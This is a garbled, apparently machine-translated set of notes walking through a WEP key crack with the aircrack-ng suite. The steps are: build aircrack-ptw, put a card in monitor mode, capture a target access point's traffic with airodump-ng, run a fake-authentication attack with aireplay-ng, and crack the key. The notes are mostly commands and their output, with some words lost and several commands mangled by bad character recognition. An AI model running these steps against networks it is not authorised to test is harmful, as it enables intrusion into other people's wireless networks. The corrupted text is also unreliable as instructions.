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1. aircrack-ng
=>WEP

OK

2. aircrack-ptw
http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/#implementation Download
tar xvfz xxxxx.tar.gz
cd XXXXXX
make
cp aircrack-ptw /usr/local/sbin/

"make" "libpcap0.8-dev"

LAN
# ifconfig wlanO down

# airmon-ng start wlanO

# airmon-ng

Interface Chipset Driver

wlan0 Intel 3945ABG iwl3945 - [phy0]

monl Intel 3945ABG iwl3945 - [phy0] <-----

# airmon-ng

wlan0 Intel 3945ABG iwl3945 - [phy0]

mon0 Intel 3945ABG iwl3945 - [phy0] <-m-e-
(monitor mode enabled on monl) <-----

# airodump-ng monO

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:01:01:ED:ED:ED -87 16 0 O 1 54e WEP WEP AP-POINT-00

ARP
# airodump-ng -c CH --bssid BSSID  -w
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:01:01:ED:ED:ED -87 16 0 O 1 54e WEP WEP AP-POINT-00

airodump-ng -c 1 --bssid 00:01:01:ED:ED:ED -w dump1417 monO

arp terminal
# aireplay-ng -1 ( )-aAP MAC-Address-h PC MAC-addeess -e ESSID
() ©

1 1 Ctrl + ¢
aireplay-ng -1 0 -a 00:01:01:ED:ED:ED -h 11:11:11:11:11:11 -e AP-POINT-00 monO
MAC :11:11:12:12:11:11
14:25:34 Sending Authentication Request (Open System)
Attack was unsuccessful. Possible reasons:
* Perhaps MAC address filtering is enabled. <---- MAC
* Check that the BSSID (-a option) is correct.
*Try to change the number of packets (-0 option).

* The driver/card doesn’t support injection.
* This attack sometimes fails against some APs.

monO



* The card is not on the same channel as the AP.
*You're too far from the AP. Get closer, or lower
the transmit rate.

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
16:16:16:16:16:16 -79 25 0 0 7 54 WEP WEP AP-POINT-99

airodump-ng -c 7 --bssid 16:16:16:16:16:16 -w dump1431 monO

arp
aireplay-ng -1 1 -a 16:16:16:16:16:16 -h 11:11:11:11:11:11 -e AP-POINT-99 mon0

OK
Sending Authentication Request (Open System)
Authentication successful
Sending Association Request
Association successful :-) (AID: 1)
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# aircrack-ptw .cap
KEY FOUND! [ 2Z:2Z:2Z:ZZ:7ZZ | WEP



